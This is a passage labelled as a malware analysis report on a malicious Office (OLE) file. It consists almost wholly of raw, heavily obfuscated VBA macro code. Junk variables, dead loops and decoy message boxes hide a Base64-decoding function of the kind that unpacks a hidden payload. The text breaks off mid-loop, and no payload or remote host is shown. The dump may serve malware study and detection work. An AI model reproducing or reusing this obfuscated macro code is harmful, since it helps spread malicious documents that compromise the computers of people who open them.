Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "N03ado"
Public Function FIIIkAeJDFMOfKeV(tFASbaJUIk0xGHG As String, Optional pPBSYYBj4NhkGvV As Boolean = True) As String
Static CwyY5d2G71hFF4(0 To 255) As Byte
Dim KFPpeT9XJUx1Lr, armOvBx7ESQ As String
KFPpeT9XJUx1Lr = 9
armOvBx7ESQ = 1
#If KFPpeT9XJUx1Lr > armOvBx7ESQ Then
Dim tuM5j44plyS As LongPtr
#Else
Dim tuM5j44plyS As Integer
tuM5j44plyS = 9 + 1
Dim OzTR5jJKrz6 As Integer
For OzTR5jJKrz6 = 0 To KFPpeT9XJUx1Lr
OzTR5jJKrz6 = OzTR5jJKrz6 + 1
Next OzTR5jJKrz6
#End If
Dim dRUYqsIIjtzlVD As String
Dim tDQFltNbFV5 As String
tDQFltNbFV5 = jup9GhFVcT5
dRUYqsIIjtzlVD = EaOv7HNLy2k
If (StrComp(dRUYqsIIjtzlVD, tDQFltNbFV5, vbTextCompare) <> 0) Then
MsgBox ("Optional: mPYNzNH3HL9dA8.")
End If
Dim Vr6NNvK8ucVV() As Byte, rCjwO9pSdnDDrmZ() As Byte
Dim Vk2u1OjMtG6Owe As String
Vk2u1OjMtG6Owe = Application.UserName
Dim zu9GmrASaW5, OGd5aaY9HJgye2 As Integer
OGd5aaY9HJgye2 = Len(Vk2u1OjMtG6Owe)
Dim TVz3Rba47Ch As Collection
While OGd5aaY9HJgye2 > 9
zu9GmrASaW5 = zu9GmrASaW5 + 4
OGd5aaY9HJgye2 = OGd5aaY9HJgye2 - 1
Wend
Dim CF34d1PVWE9FPA, E60Kfb4zAHL As Integer
CF34d1PVWE9FPA = 9
E60Kfb4zAHL = 7
#If RaUnj0fXSmO <> 0 Then
RaUnj0fXSmO = RaUnj0fXSmO + 8
Dim ZQVIQpN9gFi As Variant
Else
Dim ZQVIQpN9gFi As Object
#End If
If CF34d1PVWE9FPA > E60Kfb4zAHL Then
For EyJzWSYmPFvsIa = E60Kfb4zAHL To CF34d1PVWE9FPA
E60Kfb4zAHL = E60Kfb4zAHL / CF34d1PVWE9FPA
Next EyJzWSYmPFvsIa
End If
Dim fBjuifoIXa28D1z6oI As Long, SsKyoduOUp8z9AKo As Long
Dim xCpLER5LwqVaqx, GKRekvgxxSf As String
xCpLER5LwqVaqx = 9
GKRekvgxxSf = 2
#If xCpLER5LwqVaqx > GKRekvgxxSf Then
Dim epJxBkwDSMD As LongPtr
#Else
Dim epJxBkwDSMD As Integer
epJxBkwDSMD = 9 + 2
Dim EyxOxF9Whfk As Integer
For EyxOxF9Whfk = 0 To xCpLER5LwqVaqx
EyxOxF9Whfk = EyxOxF9Whfk + 1
Next EyxOxF9Whfk
#End If
Dim jdmvVvGiWYmEEc As Integer
Dim iV5b0cvAAr6 As String
jdmvVvGiWYmEEc = 4478
Dim ATrLlgF0sIV As Integer
iV5b0cvAAr6 = Right(CStr(jdmvVvGiWYmEEc), 1)
ATrLlgF0sIV = CInt(iV5b0cvAAr6)
For fDtNQ8ILVIu = ATrLlgF0sIV To 43
jdmvVvGiWYmEEc = jdmvVvGiWYmEEc + 3
Next fDtNQ8ILVIu
If CwyY5d2G71hFF4(0) = 0 Then
Dim t2IkaajLiTnNIL, PY7IpnIzJDb As Integer
t2IkaajLiTnNIL = 3
PY7IpnIzJDb = 4
#If YASzNlTJCJN <> 0 Then
YASzNlTJCJN = YASzNlTJCJN + 3
Dim MUBQGfj5OO4 As Variant
Else
Dim MUBQGfj5OO4 As Object
#End If
If t2IkaajLiTnNIL > PY7IpnIzJDb Then
For XBcWEx1XFsFI7Z = PY7IpnIzJDb To t2IkaajLiTnNIL
PY7IpnIzJDb = PY7IpnIzJDb / t2IkaajLiTnNIL
Next XBcWEx1XFsFI7Z
End If
Dim HmHZgnOOyNiiRU As Integer
For sHON4Jya6Su = 9 To 94
HmHZgnOOyNiiRU = sHON4Jya6Su
Next sHON4Jya6Su
Dim ykAaDiqg9B4DuI As Integer
Dim RBHkD76MB2R As String
ykAaDiqg9B4DuI = 8539
Dim i91DuCDXYbW As Integer
RBHkD76MB2R = Right(CStr(ykAaDiqg9B4DuI), 1)
i91DuCDXYbW = CInt(RBHkD76MB2R)
For PT31oM1cW0o = i91DuCDXYbW To 47
ykAaDiqg9B4DuI = ykAaDiqg9B4DuI + 7
Next PT31oM1cW0o
Dim UcQh5qzKLfS0um As Integer
For ma9lrWTja0g = 6 To 62
UcQh5qzKLfS0um = ma9lrWTja0g
Next ma9lrWTja0g
Dim kMkuxjrAKPyieI, yQUw74A2Dct As String
kMkuxjrAKPyieI = 1
yQUw74A2Dct = 9
#If kMkuxjrAKPyieI > yQUw74A2Dct Then
Dim yrpEvs3kapH As LongPtr
#Else
Dim yrpEvs3kapH As Integer
yrpEvs3kapH = 1 + 9
Dim zpB63IPuX9G As Integer
For zpB63IPuX9G = 0 To kMkuxjrAKPyieI
zpB63IPuX9G = zpB63IPuX9G + 1
Next zpB63IPuX9G
#End If
For fBjuifoIXa28D1z6oI = 0 To 255
Dim wZg58Ed1RovAB1 As String
wZg58Ed1RovAB1 = Application.UserName
Dim gSEt0pt2Gwu, UM0DRAMSDTuLf4 As Integer
UM0DRAMSDTuLf4 = Len(wZg58Ed1RovAB1)
Dim YKx70oJE1N0 As Collection
While UM0DRAMSDTuLf4 > 2
gSEt0pt2Gwu = gSEt0pt2Gwu + 5
UM0DRAMSDTuLf4 = UM0DRAMSDTuLf4 - 5
Wend
Dim p6w3FSVrX95Y1W As Integer
Dim EJUOILEVf5L As String
p6w3FSVrX95Y1W = 3579
Dim eIFKrFubPxg As Integer
EJUOILEVf5L = Right(CStr(p6w3FSVrX95Y1W), 1)
eIFKrFubPxg = CInt(EJUOILEVf5L)
For OrZ7On0qPDn = eIFKrFubPxg To 65
p6w3FSVrX95Y1W = p6w3FSVrX95Y1W + 9
Next OrZ7On0qPDn
Dim KXXc95L07lLkhv As Integer
For uX8VUCkB4Mu = 5 To 52
KXXc95L07lLkhv = uX8VUCkB4Mu
Next uX8VUCkB4Mu
CwyY5d2G71hFF4(fBjuifoIXa28D1z6oI) = 255
Dim skULK4kz4n0ucb As String
Dim RL0w70T3sik As String
RL0w70T3sik = LEmYrjBFahg
skULK4kz4n0ucb = eIll66GjZv2
If (StrComp(skULK4kz4n0ucb, RL0w70T3sik, vbTextCompare) <> 0) Then
MsgBox ("Optional: khCBOkqx72vk70.")
End If
Dim SqVaZlkoyhou8h As Integer
For obKtmvme2Cf = 7 To 74
SqVaZlkoyhou8h = obKtmvme2Cf
Next obKtmvme2Cf
Dim wVRLmJZ4LwBQFf As Integer
Dim UzM0YfhnLgn As String
wVRLmJZ4LwBQFf = 2827
Dim slSGCCH6fGK As Integer
UzM0YfhnLgn = Right(CStr(wVRLmJZ4LwBQFf), 1)
slSGCCH6fGK = CInt(UzM0YfhnLgn)
For VMnR3QlWfUx = slSGCCH6fGK To 64
wVRLmJZ4LwBQFf = wVRLmJZ4LwBQFf + 3
Next VMnR3QlWfUx
Next fBjuifoIXa28D1z6oI
Dim nmWXBsBXljuqKV As Integer
For fy6J7X1kLnp = 4 To 49
nmWXBsBXljuqKV = fy6J7X1kLnp
Next fy6J7X1kLnp
For fBjuifoIXa28D1z6oI = 0 To 25
Dim Z5hrkzTr6xjFOK As Integer
Dim rIEKYsKs3Apy0k As String
Dim YRTIZxBOoVa As String
YRTIZxBOoVa = JVTevDwKq9s
rIEKYsKs3Apy0k = vqws6yCgmFw
If (StrComp(rIEKYsKs3Apy0k, YRTIZxBOoVa, vbTextCompare) <> 0) Then
MsgBox ("Optional: hyvlCBgGldtuNX.")
End If
Dim lVYretKAuojYOL As String
Dim xiVFk4jtbmD As String
xiVFk4jtbmD = DY9rVn4YVAY
lVYretKAuojYOL = rpWe76I9jMg
If (StrComp(lVYretKAuojYOL, xiVFk4jtbmD, vbTextCompare) <> 0) Then
MsgBox ("Optional: JqzVzmSi83vobU.")
End If
Dim wnkbC1hMT4A0RG As Integer
For vMoBIEpEfV4 = 4 To 45
wnkbC1hMT4A0RG = vMoBIEpEfV4
Next vMoBIEpEfV4
CwyY5d2G71hFF4(fBjuifoIXa28D1z6oI + 65) = fBjuifoIXa28D1z6oI
Dim QSFaSeMh8HEvFA As Integer
Dim DNoPZ4IXYGG As String
QSFaSeMh8HEvFA = 6681
Dim fen7HAT7vro As Integer
DNoPZ4IXYGG = Right(CStr(QSFaSeMh8HEvFA), 1)
fen7HAT7vro = CInt(DNoPZ4IXYGG)
For fIw3ZmMX4hT = fen7HAT7vro To 33
QSFaSeMh8HEvFA = QSFaSeMh8HEvFA + 8
Next fIw3ZmMX4hT
Dim afKAMiSsw68tEQ, bvtnyG30CVQ As Integer
afKAMiSsw68tEQ = 3
bvtnyG30CVQ = 3
#If It9daZnytLt <> 0 Then
It9daZnytLt = It9daZnytLt + 4
Dim n4wvXRvn3Xp As Variant
Else
Dim n4wvXRvn3Xp As Object
#End If
If afKAMiSsw68tEQ > bvtnyG30CVQ Then
For byhr7rWmpdxtCx = bvtnyG30CVQ To afKAMiSsw68tEQ
bvtnyG30CVQ = bvtnyG30CVQ / afKAMiSsw68tEQ
Next byhr7rWmpdxtCx
End If
Dim llEYb2eML6sb6c As Integer
For dcTcAg2GonA = 6 To 61
llEYb2eML6sb6c = dcTcAg2GonA
Next dcTcAg2GonA
Next fBjuifoIXa28D1z6oI
Dim DW6QE33EzTpCjz, ASCP2JYYxeo As String
DW6QE33EzTpCjz = 3
ASCP2JYYxeo = 8
#If DW6QE33EzTpCjz > ASCP2JYYxeo Then
Dim DfaGTp156oD As LongPtr
#Else
Dim DfaGTp156oD As Integer
DfaGTp156oD = 3 + 8
Dim HjnFuR4e86v As Integer
For HjnFuR4e86v = 0 To DW6QE33EzTpCjz
HjnFuR4e86v = HjnFuR4e86v + 1
Next HjnFuR4e86v
#End If
For fBjuifoIXa28D1z6oI = 26 To 51
Dim FsbDdt1MVJEjPI As Integer
Dim UgkYZRnlJBV As String
FsbDdt1MVJEjPI = 1924
Dim hH0PKzdQgYI As Integer
UgkYZRnlJBV = Right(CStr(FsbDdt1MVJEjPI), 1)
hH0PKzdQgYI = CInt(UgkYZRnlJBV)
For zHrhH6Xb7Ar = hH0PKzdQgYI To 77
FsbDdt1MVJEjPI = FsbDdt1MVJEjPI + 3
Next zHrhH6Xb7Ar
CwyY5d2G71hFF4(fBjuifoIXa28D1z6oI + 71) = fBjuifoIXa28D1z6oI
Dim jntMB8SMMzhVnC As Integer
Dim bzkycGxWNMp As String
jntMB8SMMzhVnC = 3913
Dim m5BOKdCfsPN As Integer
bzkycGxWNMp = Right(CStr(jntMB8SMMzhVnC), 1)
m5BOKdCfsPN = CInt(bzkycGxWNMp)
For wuC1o0fPFV9 = m5BOKdCfsPN To 98
jntMB8SMMzhVnC = jntMB8SMMzhVnC + 8
Next wuC1o0fPFV9
Dim VMiBUm37fut0gb As Integer
Dim fBuEHXDfxp3 As String
VMiBUm37fut0gb = 9996
Dim KV6CgGndW9B As Integer
fBuEHXDfxp3 = Right(CStr(VMiBUm37fut0gb), 1)
KV6CgGndW9B = CInt(fBuEHXDfxp3)
For KyDPk7GuURN = KV6CgGndW9B To 25
VMiBUm37fut0gb = VMiBUm37fut0gb + 4
Next KyDPk7GuURN
Next fBjuifoIXa28D1z6oI
Dim VEVl9vVtyMNY8F As String
VEVl9vVtyMNY8F = Application.UserName
Dim iTq58nCHGO3, T5fQF2JDR8Gs6p As Integer
T5fQF2JDR8Gs6p = Len(VEVl9vVtyMNY8F)
Dim CGAdw3jRSeR As Collection
While T5fQF2JDR8Gs6p > 2
iTq58nCHGO3 = iTq58nCHGO3 + 3
T5fQF2JDR8Gs6p = T5fQF2JDR8Gs6p - 4
Wend
Dim QvzG6ORfe7AaWD As Integer
Dim efpMaGKXmExsDO, sXmpNLWeikJ As Integer
efpMaGKXmExsDO = 7
sXmpNLWeikJ = 4
#If Nse8sGUGvrX <> 0 Then
Nse8sGUGvrX = Nse8sGUGvrX + 9
Dim iZGjccG1m8V As Variant
Else
Dim iZGjccG1m8V As Object
#End If
If efpMaGKXmExsDO > sXmpNLWeikJ Then
For vKRZmorJG6FCKY = sXmpNLWeikJ To efpMaGKXmExsDO
sXmpNLWeikJ = sXmpNLWeikJ / efpMaGKXmExsDO
Next vKRZmorJG6FCKY
End If
For fBjuifoIXa28D1z6oI = 52 To 61
Dim DYLslfDJwUD1nU, w4gglYjne89 As String
DYLslfDJwUD1nU = 1
w4gglYjne89 = 5
#If DYLslfDJwUD1nU > w4gglYjne89 Then
Dim isBJY6WsNbS As LongPtr
#Else
Dim isBJY6WsNbS As Integer
isBJY6WsNbS = 1 + 5
Dim UrsEWHYBXwy As Integer
For UrsEWHYBXwy = 0 To DYLslfDJwUD1nU
UrsEWHYBXwy = UrsEWHYBXwy + 1
Next UrsEWHYBXwy
#End If
CwyY5d2G71hFF4(fBjuifoIXa28D1z6oI - 4) = fBjuifoIXa28D1z6oI
Dim AnpnYJ0EqFYCNK As String
Next fBjuifoIXa28D1z6oI
Dim fSd2n3LlJdYloW As Integer
Dim EcWU0zgCsahQqD As String
Dim e009SfgpbmBo1Z As Integer
Dim lWphpJWisS6 As String
e009SfgpbmBo1Z = 2899
Dim ueYxenl33FJ As Integer
lWphpJWisS6 = Right(CStr(e009SfgpbmBo1Z), 1)
ueYxenl33FJ = CInt(lWphpJWisS6)
For yKNavPIbQjd = ueYxenl33FJ To 93
e009SfgpbmBo1Z = e009SfgpbmBo1Z + 7
Next yKNavPIbQjd
CwyY5d2G71hFF4(43) = 62
Dim piC07bI0YD3rfy, dB1dlc3CxRX As String
piC07bI0YD3rfy = 1
dB1dlc3CxRX = 6
#If piC07bI0YD3rfy > dB1dlc3CxRX Then
Dim xiuCFlZtFIj As LongPtr
#Else
Dim xiuCFlZtFIj As Integer
xiuCFlZtFIj = 1 + 6
Dim IGugSDexvks As Integer
For IGugSDexvks = 0 To piC07bI0YD3rfy
IGugSDexvks = IGugSDexvks + 1
Next IGugSDexvks
#End If
Dim I0h9fwOgIp2u6G As Integer
For OnSVmecHXcg = 2 To 27
I0h9fwOgIp2u6G = OnSVmecHXcg
Next OnSVmecHXcg
CwyY5d2G71hFF4(47) = 63
Dim H77QoFtouwlDdB As String
H77QoFtouwlDdB = Application.UserName
Dim SH6M5xGAh0L, HDemcQWAIaHF4H As Integer
HDemcQWAIaHF4H = Len(H77QoFtouwlDdB)
Dim m8BF8MfGCUI As Collection
While HDemcQWAIaHF4H > 2
SH6M5xGAh0L = SH6M5xGAh0L + 7
HDemcQWAIaHF4H = HDemcQWAIaHF4H - 9
Wend
Dim livkG6arNFvlZM As Collection
Set livkG6arNFvlZM = New Collection
livkG6arNFvlZM.Add "m8BF8MfGCUI"
livkG6arNFvlZM.Add "BKlfm8eWUHC"
livkG6arNFvlZM.Add "GgKfEsx7kVtOuC"
Dim tlQlBMSu8Z02MX As String
Dim aeLq4ARrzXR As String
aeLq4ARrzXR = uGWHLe2XkKj
tlQlBMSu8Z02MX = XSEdGJbS6V8
If (StrComp(tlQlBMSu8Z02MX, aeLq4ARrzXR, vbTextCompare) <> 0) Then
MsgBox ("Optional: M7VOK601Ly2UIG.")
End If
Dim JhoX70VBBSVif5 As Integer
Dim m5TbXNOf0xk As String
JhoX70VBBSVif5 = 5888
Dim C84OJc3pEtk As Integer
m5TbXNOf0xk = Right(CStr(JhoX70VBBSVif5), 1)
C84OJc3pEtk = CInt(m5TbXNOf0xk)
For fGdGi0XdlwZ = C84OJc3pEtk To 42
JhoX70VBBSVif5 = JhoX70VBBSVif5 + 8
Next fGdGi0XdlwZ
Dim ruPLTEtgUk9Qeg As Integer
Dim gKgJ5fGPh3X As String
ruPLTEtgUk9Qeg = 4965
Dim CiUntF3p7Ga As Integer
gKgJ5fGPh3X = Right(CStr(ruPLTEtgUk9Qeg), 1)
CiUntF3p7Ga = CInt(gKgJ5fGPh3X)
For XI92MijLUTt = CiUntF3p7Ga To 54
ruPLTEtgUk9Qeg = ruPLTEtgUk9Qeg + 6
Next XI92MijLUTt
End If
Dim fF4MpgNGUsXzo7 As Integer
Dim vRkTdp0O1tbPCt As Integer
Dim carO3qYHaQx As String
vRkTdp0O1tbPCt = 7878
Dim L5FaJ2G18b8 As Integer
carO3qYHaQx = Right(CStr(vRkTdp0O1tbPCt), 1)
L5FaJ2G18b8 = CInt(carO3qYHaQx)
For iqLrbZ7cqOU = L5FaJ2G18b8 To 13
vRkTdp0O1tbPCt = vRkTdp0O1tbPCt + 4
Next iqLrbZ7cqOU
Dim N9J8jk2y397AxW As String
Dim AoIUL67qlQl As String
AoIUL67qlQl = S1QynpKyEQ8
N9J8jk2y397AxW = h2v3W51ytxf
If (StrComp(N9J8jk2y397AxW, AoIUL67qlQl, vbTextCompare) <> 0) Then
MsgBox ("Optional: BDnabxGOjY3XNs.")
End If
Dim dRjBywgvx0NLMO, Rs0qkufhLu5 As String
dRjBywgvx0NLMO = 1
Rs0qkufhLu5 = 4
#If dRjBywgvx0NLMO > Rs0qkufhLu5 Then
Dim gd7nu5AmL2h As LongPtr
#Else
Dim gd7nu5AmL2h As Integer
gd7nu5AmL2h = 1 + 4
Dim bMvlWlX2YyD As Integer
For bMvlWlX2YyD = 0 To dRjBywgvx0NLMO
bMvlWlX2YyD = bMvlWlX2YyD + 1
Next bMvlWlX2YyD
#End If
Dim uJSVHiXgKxfhWa As Integer
Dim sarGjSzeS7K As String
uJSVHiXgKxfhWa = 6885
Dim MCunSRee211 As Integer
sarGjSzeS7K = Right(CStr(uJSVHiXgKxfhWa), 1)
MCunSRee211 = CInt(sarGjSzeS7K)
For qd8n4C7QZqM = MCunSRee211 To 56
uJSVHiXgKxfhWa = uJSVHiXgKxfhWa + 1
Next qd8n4C7QZqM
Dim IFsYnsCfuOXZSx, txvqxGYlCw2 As String
IFsYnsCfuOXZSx = 5
txvqxGYlCw2 = 6
#If IFsYnsCfuOXZSx > txvqxGYlCw2 Then
Dim MLFAH6CxGkb As LongPtr
#Else
Dim MLFAH6CxGkb As Integer
MLFAH6CxGkb = 5 + 6
Dim QJ1TYufkXtg As Integer
For QJ1TYufkXtg = 0 To IFsYnsCfuOXZSx
QJ1TYufkXtg = QJ1TYufkXtg + 1
Next QJ1TYufkXtg
#End If
If tFASbaJUIk0xGHG = "" Then Exit Function
Dim gHwuSOclgXqxbn As String
Dim M7iu8NCJ8Xt As String
M7iu8NCJ8Xt = NZNJX9YdUNR
gHwuSOclgXqxbn = dBh8iw0Pw69
If (StrComp(gHwuSOclgXqxbn, M7iu8NCJ8Xt, vbTextCompare) <> 0) Then
MsgBox ("Optional: fnVcZVBHdIYBBx.")
End If
Dim aITTr1ek1Lq75M As Integer
For LxP44pyOhr1 = 4 To 49
aITTr1ek1Lq75M = LxP44pyOhr1
Next LxP44pyOhr1
tFASbaJUIk0xGHG = Trim(tFASbaJUIk0xGHG)
Dim viirDVZzyObixj As String
viirDVZzyObixj = Application.UserName
Dim EF2w7urRIx1, Uaw1lhuUmZtxj3 As Integer
Uaw1lhuUmZtxj3 = Len(viirDVZzyObixj)
Dim ZbGAGl2MCaC As Collection
While Uaw1lhuUmZtxj3 > 8
EF2w7urRIx1 = EF2w7urRIx1 + 6
Uaw1lhuUmZtxj3 = Uaw1lhuUmZtxj3 - 4
Wend
Dim gN3DTZfX7BoyTQ, L0izSWleVvQ As Integer
gN3DTZfX7BoyTQ = 6
L0izSWleVvQ = 2
#If hG5KLqwdqAz <> 0 Then
hG5KLqwdqAz = hG5KLqwdqAz + 7
Dim WB68VQi8Cn1 As Variant
Else
Dim WB68VQi8Cn1 As Object
#End If
If gN3DTZfX7BoyTQ > L0izSWleVvQ Then
For NRzYCTM0I2IzqT = L0izSWleVvQ To gN3DTZfX7BoyTQ
L0izSWleVvQ = L0izSWleVvQ / gN3DTZfX7BoyTQ
Next NRzYCTM0I2IzqT
End If
Dim sUBV5WtnwxnXzo, XRx25SNPouD As Integer
sUBV5WtnwxnXzo = 6
XRx25SNPouD = 4
#If ooJSNA1X1L9 <> 0 Then
ooJSNA1X1L9 = ooJSNA1X1L9 + 6
Dim JfMgZK3d6x8 As Variant
Else
Dim JfMgZK3d6x8 As Object
#End If
If sUBV5WtnwxnXzo > XRx25SNPouD Then
For jaDzXeITlpQRJs = XRx25SNPouD To sUBV5WtnwxnXzo
XRx25SNPouD = XRx25SNPouD / sUBV5WtnwxnXzo
Next jaDzXeITlpQRJs
End If
Dim hKxCN78crFPPOe As Integer
Dim YDVu1GILZuY As String
hKxCN78crFPPOe = 8415
Dim tJLHnkDOBgn As Integer
YDVu1GILZuY = Right(CStr(hKxCN78crFPPOe), 1)
tJLHnkDOBgn = CInt(YDVu1GILZuY)
For UvtvQ76Q9RV = tJLHnkDOBgn To 29
hKxCN78crFPPOe = hKxCN78crFPPOe + 1
Next UvtvQ76Q9RV
Dim FfxE3TIY8el2vy, NI1lfHC23AM As Integer
FfxE3TIY8el2vy = 6
NI1lfHC23AM = 6
#If fUgycCYH7Ff <> 0 Then
fUgycCYH7Ff = fUgycCYH7Ff + 5
Dim U36UbmHVjXX As Variant
Else
Dim U36UbmHVjXX As Object
#End If
If FfxE3TIY8el2vy > NI1lfHC23AM Then
For w0YdIayeNly1S9 = NI1lfHC23AM To FfxE3TIY8el2vy
NI1lfHC23AM = NI1lfHC23AM / FfxE3TIY8el2vy
Next w0YdIayeNly1S9
End If
If pPBSYYBj4NhkGvV Then
Dim HDcEWCEk6JgiOc, R10J6Bx0YJo As String
HDcEWCEk6JgiOc = 2
R10J6Bx0YJo = 3
#If HDcEWCEk6JgiOc > R10J6Bx0YJo Then
Dim ENnMjvdZsJZ As LongPtr
#Else
Dim ENnMjvdZsJZ As Integer
ENnMjvdZsJZ = 2 + 3
Dim V0N9jv32FVH As Integer
For V0N9jv32FVH = 0 To HDcEWCEk6JgiOc
V0N9jv32FVH = V0N9jv32FVH + 1
Next V0N9jv32FVH
#End If
Dim UDIgS4bA66bD7f As Integer
Dim DT8DX1TQ37S As String
UDIgS4bA66bD7f = 3617
Dim suHa5KHXgeC As Integer
DT8DX1TQ37S = Right(CStr(UDIgS4bA66bD7f), 1)
suHa5KHXgeC = CInt(DT8DX1TQ37S)
For Kl1U3PinAWV = suHa5KHXgeC To 41
UDIgS4bA66bD7f = UDIgS4bA66bD7f + 7
Next Kl1U3PinAWV
Dim KD8EsP65fl3TmZ As Integer
Dim DxdW2AXZLio As String
KD8EsP65fl3TmZ = 3365
Dim b1qp4HLA6iA As Integer
DxdW2AXZLio = Right(CStr(KD8EsP65fl3TmZ), 1)
b1qp4HLA6iA = CInt(DxdW2AXZLio)
For d8Z4OR6ibQY = b1qp4HLA6iA To 78
KD8EsP65fl3TmZ = KD8EsP65fl3TmZ + 3
Next d8Z4OR6ibQY
Dim Mg8BWEt6seMkct, KT3TPRBC10b As Integer
Mg8BWEt6seMkct = 1
KT3TPRBC10b = 5
#If hBpZsE4G6ra <> 0 Then
hBpZsE4G6ra = hBpZsE4G6ra + 1
Dim pEHiXbZBNOe As Variant
Else
Dim pEHiXbZBNOe As Object
#End If
If Mg8BWEt6seMkct > KT3TPRBC10b Then
For lxkEd32gLoIjsD = KT3TPRBC10b To Mg8BWEt6seMkct
KT3TPRBC10b = KT3TPRBC10b / Mg8BWEt6seMkct
Next lxkEd32gLoIjsD
End If
For fBjuifoIXa28D1z6oI = 0 To 255
Dim OM86iyfWjuNtWy As Integer
Dim gWVPZkpLFTNiRp As String
Dim Betfj4uKKv7 As String
Betfj4uKKv7 = HwsbdnmFa4q
gWVPZkpLFTNiRp = S6j0zUFGyY8
If (StrComp(gWVPZkpLFTNiRp, Betfj4uKKv7, vbTextCompare) <> 0) Then
MsgBox ("Optional: kqCtVP7bcLkSPy.")
End If
Dim mRXI8bfvoTCxkd As Integer
Dim VM6H6V36Zg0 As String
mRXI8bfvoTCxkd = 4293
Dim AXGntFu6V1Y As Integer
VM6H6V36Zg0 = Right(CStr(mRXI8bfvoTCxkd), 1)
AXGntFu6V1Y = CInt(VM6H6V36Zg0)
For MT2U0XJmqR0 = AXGntFu6V1Y To 36
mRXI8bfvoTCxkd = mRXI8bfvoTCxkd + 9
Next MT2U0XJmqR0
Dim TXk9ov9yfL9AF9 As Integer
Dim mwR7NzLpnZi As String
TXk9ov9yfL9AF9 = 4522
Dim ZklTWDPiYcL As Integer
mwR7NzLpnZi = Right(CStr(TXk9ov9yfL9AF9), 1)
ZklTWDPiYcL = CInt(mwR7NzLpnZi)
For ewwIHOHE0Cb = ZklTWDPiYcL To 75
TXk9ov9yfL9AF9 = TXk9ov9yfL9AF9 + 5
Next ewwIHOHE0Cb
If Not (Chr(fBjuifoIXa28D1z6oI) Like "[A-Za-z0-9+/=]") Then
Dim g7tu86Gku2s5dT As Integer
Dim dkMBzpdB2ST7iJ As String
dkMBzpdB2ST7iJ = Application.UserName
Dim uEwBIQvYN1o, xrBgusjQKWUXud As Integer
xrBgusjQKWUXud = Len(dkMBzpdB2ST7iJ)
Dim DMAKleXh5Do As Collection
While xrBgusjQKWUXud > 8
uEwBIQvYN1o = uEwBIQvYN1o + 3
xrBgusjQKWUXud = xrBgusjQKWUXud - 2
Wend
Dim Y0Ry5ZnGOgYTxD As Collection
Set Y0Ry5ZnGOgYTxD = New Collection
Y0Ry5ZnGOgYTxD.Add "DMAKleXh5Do"
Y0Ry5ZnGOgYTxD.Add "cXsSMaTFQTq"
Y0Ry5ZnGOgYTxD.Add "REIlUXPSJFuo7o"
Dim W3f5FNtCXOJrMD As String
Dim Oc8N6TYUATu As String
Oc8N6TYUATu = B2QaTY0o7Tv
W3f5FNtCXOJrMD = XtzEe7llj20
If (StrComp(W3f5FNtCXOJrMD, Oc8N6TYUATu, vbTextCompare) <> 0) Then
MsgBox ("Optional: KCbEmfLtG2MKDV.")
End If
Dim mZt2LpN8OwUcNM As Integer
Dim tPittBVhvQx As String
mZt2LpN8OwUcNM = 7546
Dim fcgbxLoWTWd As Integer
tPittBVhvQx = Right(CStr(mZt2LpN8OwUcNM), 1)
fcgbxLoWTWd = CInt(tPittBVhvQx)
For XS2qOnyD9jA = fcgbxLoWTWd To 98
mZt2LpN8OwUcNM = mZt2LpN8OwUcNM + 1
Next XS2qOnyD9jA
Dim cGZdSdGrP7a1EA, Sc4Mw7Sx0QG As Integer
cGZdSdGrP7a1EA = 4
Sc4Mw7Sx0QG = 1
#If Igppiy9gkPm <> 0 Then
Igppiy9gkPm = Igppiy9gkPm + 7
Dim QP8wfMmtrmb As Variant
Else
Dim QP8wfMmtrmb As Object
#End If
If cGZdSdGrP7a1EA > Sc4Mw7Sx0QG Then
For d2r5weWLrPJWI7 = Sc4Mw7Sx0QG To cGZdSdGrP7a1EA
Sc4Mw7Sx0QG = Sc4Mw7Sx0QG / cGZdSdGrP7a1EA
Next d2r5weWLrPJWI7
End If
Dim I4kQS7zIiPie4F As Integer
For IFOX9zYKW5S = 5 To 53
I4kQS7zIiPie4F = IFOX9zYKW5S
Next IFOX9zYKW5S
tFASbaJUIk0xGHG = Replace(tFASbaJUIk0xGHG, Chr(fBjuifoIXa28D1z6oI), "")
Dim QhKLmTsoy8qqn5 As String
Dim MLoTiLiOUbeROk As Integer
Dim R01vUvKAk6yJHH As Integer
For Qtg7bboUdQd = 2 To 28
R01vUvKAk6yJHH = Qtg7bboUdQd
Next Qtg7bboUdQd
End If
Dim faK4DOgsyT42av As String
Dim BVrDxtTU49YUTJ As Object
Dim L0hO4EgiDmvzv1 As Integer
For ORmW20nAbVL = 3 To 33
L0hO4EgiDmvzv1 = ORmW20nAbVL
Next ORmW20nAbVL
Next fBjuifoIXa28D1z6oI
Dim YmGlUP5IU9lIO2 As String
Dim CvrUDpsUgAz As String
CvrUDpsUgAz = TYqJntzf0Xg
YmGlUP5IU9lIO2 = koeUvb4gVkP
If (StrComp(YmGlUP5IU9lIO2, CvrUDpsUgAz, vbTextCompare) <> 0) Then
MsgBox ("Optional: aj82UwHeIFGz71.")
End If
End If
Dim qMsHPR0DQ548IH As Integer
Dim bVKQrdZoRav As String
qMsHPR0DQ548IH = 1183
Dim jyz8boKz2Zg As Integer
bVKQrdZoRav = Right(CStr(qMsHPR0DQ548IH), 1)
jyz8boKz2Zg = CInt(bVKQrdZoRav)
For TSUiJEgA6zH = jyz8boKz2Zg To 37
qMsHPR0DQ548IH = qMsHPR0DQ548IH + 2
Next TSUiJEgA6zH
Dim Od8j4EPItiA5Pk As String
Dim E6vGFArtMl0 As String
E6vGFArtMl0 = Kswa8eblCoy
Od8j4EPItiA5Pk = U9i8yqhLKVd
If (StrComp(Od8j4EPItiA5Pk, E6vGFArtMl0, vbTextCompare) <> 0) Then
MsgBox ("Optional: U25KCOUahQWssV.")
End If
Dim JBafsT3fzbMRmH As Integer
For OclWZeHIZVP = 9 To 92
JBafsT3fzbMRmH = OclWZeHIZVP
Next OclWZeHIZVP
rCjwO9pSdnDDrmZ() = StrConv(tFASbaJUIk0xGHG, vbFromUnicode)
Dim uXEbbZ03DPmXle, nNZUdJcxyy5 As String
uXEbbZ03DPmXle = 3
nNZUdJcxyy5 = 8
#If uXEbbZ03DPmXle > nNZUdJcxyy5 Then
Dim zVSZesN06FU As LongPtr
#Else
Dim zVSZesN06FU As Integer
zVSZesN06FU = 3 + 8
Dim dbWe6tPIT8d As Integer
For dbWe6tPIT8d = 0 To uXEbbZ03DPmXle
